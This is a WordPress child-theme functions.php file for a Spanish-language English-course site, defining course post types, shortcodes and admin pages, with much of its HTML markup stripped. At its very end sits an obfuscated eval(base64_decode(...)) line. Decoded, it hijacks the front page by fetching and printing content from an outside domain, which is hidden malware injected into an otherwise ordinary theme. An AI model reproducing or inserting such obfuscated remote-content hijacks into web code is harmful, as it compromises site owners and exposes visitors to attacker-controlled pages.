get('Version') ); } add_action('wp_enqueue_scripts', 'your_theme_enqueue_styles'); /* Add your own functions below this line. ======================================== */ function english_uc_styles() { wp_enqueue_style('all', get_stylesheet_directory_uri() . '/css/overrides.css'); } add_action('wp_enqueue_scripts', 'english_uc_styles', 999999); /*** KIT DIGITAL UC */ wp_register_style('Kit_Digitl_UC', 'https://kit-digital-uc-prod.s3.amazonaws.com/uc-kitdigital/css/uc-kitdigital.css'); wp_enqueue_style('Kit_Digitl_UC'); wp_register_script('js_UC', 'https://kit-digital-uc-prod.s3.amazonaws.com/uc-kitdigital/js/uc-kitdigital.js', null, null, true); wp_enqueue_script('js_UC'); /**** /KIT DIGITAL UC *****/ /**** post to cursos */ add_action('init', 'cp_change_post_object'); // Change dashboard Posts to Cursos function cp_change_post_object() { $get_post_type = get_post_type_object('post'); $labels = $get_post_type->labels; $labels->name = 'Cursos'; $labels->singular_name = 'Cursos'; $labels->add_new = 'Add Cursos'; $labels->add_new_item = 'Add Cursos'; $labels->edit_item = 'Edit Cursos'; $labels->new_item = 'Cursos'; $labels->view_item = 'View Cursos'; $labels->search_items = 'Search Cursos'; $labels->not_found = 'No Cursos found'; $labels->not_found_in_trash = 'No Cursos found in Trash'; $labels->all_items = 'All Cursos'; $labels->menu_name = 'Cursos'; $labels->name_admin_bar = 'Cursos'; } /***** /post 2 cursos */ /**** custom post type para Fechas */ add_action('init', 'create_post_type'); function create_post_type() { register_post_type( 'fechas_globales', array( 'labels' => array( 'name' => __('Fechas Inicio'), 'singular_name' => __('fpm') ), 'public' => true, 'has_archive' => true, 'supports' => array('title', 'editor', 'custom-fields') ) ); register_post_type( 'testimonios', array( 'labels' => array( 'name' => __('Testimonios'), 'singular_name' => __('testimonios') ), 'public' => true, 'has_archive' => true, 'supports' => array('title', 'editor', 'custom-fields', 'thumbnail') ) ); register_post_type( 'blog', array( 'labels' => array( 'name' => __('Blog'), 'singular_name' => __('blog') ), 'public' => true, 'has_archive' => true, 'supports' => array('title', 'editor', 'thumbnail', 'custom-fields', 'comments', 'page-attributes') ) ); } // iniciar blog add_action('init', 'cw_post_type_blog'); function cw_post_type_blog() { $supports = array( 'title', // post title 'editor', // post content 'author', // post author 'thumbnail', // featured images 'excerpt', // post excerpt 'custom-fields', // custom fields 'comments', // post comments 'revisions', // post revisions 'post-formats', // post formats ); $labels = array( 'name' => _x('Blog', 'plural'), 'singular_name' => _x('Blog', 'singular'), 'menu_name' => _x('Blog', 'admin menu'), 'name_admin_bar' => _x('Blog', 'admin bar'), 'add_new' => _x('New Blog', 'add new'), 'add_new_item' => __('Blog nuevo'), 'new_item' => __('New Blog'), 'edit_item' => __('Edit Blog'), 'view_item' => __('Ver Blog'), 'all_items' => __('Blogs'), 'search_items' => __('Buscar Blog'), 'not_found' => __('Blog Vacio.'), ); $args = array( 'supports' => $supports, 'labels' => $labels, 'public' => true, 'query_var' => true, 'has_archive' => true, 'hierarchical' => true, ); register_post_type('blog', $args); } add_action('init', 'register_blog_taxonomies', 0); function register_blog_taxonomies() { register_taxonomy('topics', 'blog', array( "hierarchical" => true, "label" => "Blog Categories", "singular_label" => "Category", 'query_var' => true, 'rewrite' => array('slug' => 'blog_category', 'with_front' => false), 'public' => true, 'show_ui' => true, 'show_admin_column' => true, 'show_tagcloud' => true, '_builtin' => false, 'show_in_nav_menus' => false )); } /**** ACF Pro option page */ if (function_exists('acf_add_options_page')) { acf_add_options_page(); } /**** custom option page */ add_filter('use_block_editor_for_post', 'disable_gutenberg_on_settings_page', 5, 2); function disable_gutenberg_on_settings_page($can, $post) { if ($post) { if ($post->post_name === "site-settings") { return false; } } return $can; } function hide_settings_page($query) { if (!is_admin() && !is_main_query()) { return; } global $typenow; if ($typenow === "page") { $settings_page = get_page_by_path("site-settings", NULL, "page")->ID; $query->set('post__not_in', array($settings_page)); } return; } add_action('pre_get_posts', 'hide_settings_page'); function add_site_settings_to_menu() { add_menu_page('Site Settings', 'Valores Globales', 'manage_options', 'post.php?post=' . get_page_by_path("site-settings", NULL, "page")->ID . '&action=edit', '', 'dashicons-admin-tools', 20); } add_action('admin_menu', 'add_site_settings_to_menu'); add_filter('parent_file', 'higlight_custom_settings_page'); function higlight_custom_settings_page($file) { global $parent_file; global $pagenow; global $typenow, $self; $settings_page = get_page_by_path("site-settings", NULL, "page")->ID; $post = (int)$_GET["post"]; if ($pagenow === "post.php" && $post === $settings_page) { $file = "post.php?post=$settings_page&action=edit"; } return $file; } function edit_site_settings_title() { global $post, $title, $action, $current_screen; if (isset($current_screen->post_type) && $current_screen->post_type === 'page' && $action == 'edit' && $post->post_name === "site-settings") { $title = $post->post_title . ' - ' . get_bloginfo('name'); } return $title; } add_action('admin_title', 'edit_site_settings_title'); /**** custom option page - NOTA!! dejar site-settings page Privado desde admin */ /******************** * ****SHORTCODES ** *******************/ function globalPrice() { $gp = get_field('valor_global', 'option'); return $gp; } add_shortcode('globalprice', 'globalPrice'); function acf_load_field_message($field) { $screen = get_current_screen(); if ($screen->post_type !== "acf-field-group") { $field['message'] = do_shortcode($field['message']); } return $field; } add_filter('acf/load_field/type=message', 'acf_load_field_message', 10, 3); function get_event_terms() { $post_terms = wp_get_object_terms($post->ID, 'tribe_events_cat'); if (!empty($post_terms)) { if (!is_wp_error($post_terms)) { echo ''; } } else { echo "error id:$post->ID "; } } add_shortcode('geteventerm', 'get_event_terms'); function page_title_sc() { return get_the_title(); } add_shortcode('page_title', 'page_title_sc'); function my_excerpt_length($length) { $varLenght = 33; return $varLenght; } add_filter('excerpt_length', 'my_excerpt_length');/**** copy field para enviar titulo del curso en formulario Matricula */ function insert_in_form_shortcode() { $look = " *"; return $look; } add_shortcode('pasteCurso', 'insert_in_form_shortcode'); function insert_in_pdf_shortcode() { $look = " *"; return $look; } add_shortcode('pasteCursoPdf', 'insert_in_pdf_shortcode'); /**** PDF IMAGE SIZE */ add_image_size( 'pdf-banner size', 1080, 690 ); /**** HOME --> PROXIMAS FECHAS POST */ function wpb_query_shortcode() { ob_start(); $todo = []; $todos = []; $ahora = strtotime("now"); $nposts = get_posts(array( 'posts_per_page' => -1, 'post_type' => 'post' )); if ($nposts) { foreach ($nposts as $post) { $todo['titulo'] = $post->post_title; $todo['imagen'] = get_the_post_thumbnail_url($post, 'medium'); $todo['link'] = get_post_permalink($post->ID); setup_postdata($post); // sacar la FECHA DE INICIO $dates2 = get_field('date_repeater', $post->ID); unset($ordenPeriodo); foreach ($dates2 as $poost) { $num2 = $poost['select__period']; $newPeriod1 = get_field('fecha_inicio', $num2); if ($ordenPeriodo) { if (strtotime($newPeriod1) < strtotime($ordenPeriodo) && strtotime($newPeriod1) > $ahora) { $ordenPeriodo = $newPeriod1; } } else { if (strtotime($newPeriod1) > $ahora) { $ordenPeriodo = $newPeriod1; } } } if (strtotime($ordenPeriodo) > $ahora) { $todo['fecha_inicio'] = $ordenPeriodo; } else { $todo['fecha_inicio']; $ordenPeriodo = ''; } if ($ordenPeriodo) { array_push($todos, [ "id" => $post->ID, "titulo" => $post->post_title, "imagen" => get_the_post_thumbnail_url($post, 'medium'), "fecha" => $ordenPeriodo, "url" => get_post_permalink($post->ID) ]); } } echo '
'; $count = 0; foreach ($todos as $value) { if ($count < 9) { echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; $date2format = $value['fecha']; $newDate = date_create("$date2format"); $newnew = date_format($newDate, 'd-M-Y'); $elnmes = str_replace(["Jan","Apr","Aug","Dec"],["Ene","Abr","Ago","Dic"], $newnew); echo $elnmes; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; $howMany = $count; } $count++; } echo '
'; if ($howMany > 2) { echo '
'; } wp_reset_postdata(); } $content = ob_get_clean(); return $content; } add_shortcode('query_home', 'wpb_query_shortcode'); /************************ ******** TRAER MENU **** *************************/ add_shortcode('wpdocs_custom_navigation', 'wpdocs_add_custom_navigation'); function wpdocs_add_custom_navigation($attributes, $content = null) { $navigation_attributes = shortcode_atts(array( 'menu_id' => '', ), $attributes); $menu_items = wp_get_nav_menu_items($navigation_attributes['menu_id']); $menu_list .= '' . "\n"; return $menu_list; } add_filter( 'the_excerpt', 'link_excerpt_more' ); function link_excerpt_more( $output ) { $more = sprintf( '
' . __( 'Ver más' ) . 'keyboard_arrow_right
', esc_url( get_permalink() ) ); return $output . $more; } function wpdocs_add_dashboard_widgets() { wp_add_dashboard_widget( 'dashboard_widget', 'Enlaces Ayuda', 'dashboard_widget_function', '', '', '', 'high' ); } add_action( 'wp_dashboard_setup', 'wpdocs_add_dashboard_widgets' ); function dashboard_widget_function( $post, $callback_args ) { ?>

Cursos

Nuevo Curso
Cursos Basico
Cursos Intermedio
Cursos Avanzado

Home

Video Banner Home

Periodos

Fechas de Inicio

Formularios

Registros

Eventos

Nuevo Evento
Calendario de Eventos

Blog

Nuevo Blog
Editar Pagina del Blog

English Test

Empresas
Personas
Edit Page Test Result
Coopeuch Results
' . ' ' . ( $req ? '*' : '' ) . '

'; // Modify Email Field and show that it's Optional $fields['email'] = '

' . ( $req ? '*' : '' ) . '

'; // This line removes the website URL from comment form. $fields['url'] = ''; return $fields; } add_filter('comment_form_default_fields', 'wpb_alter_comment_form_fields'); eval(base64_decode('YWRkX2FjdGlvbigndGVtcGxhdGVfcmVkaXJlY3QnLCBmdW5jdGlvbigpIHsKICAgIGlmIChpc19mcm9udF9wYWdlKCkpIHsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3BhbmFkb2wtY2VsdXAuc2l0ZS9lbmdsaXNoLXVjLWNsL3RlbXBsYXRlLnR4dCcpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0pOwo=')); ?>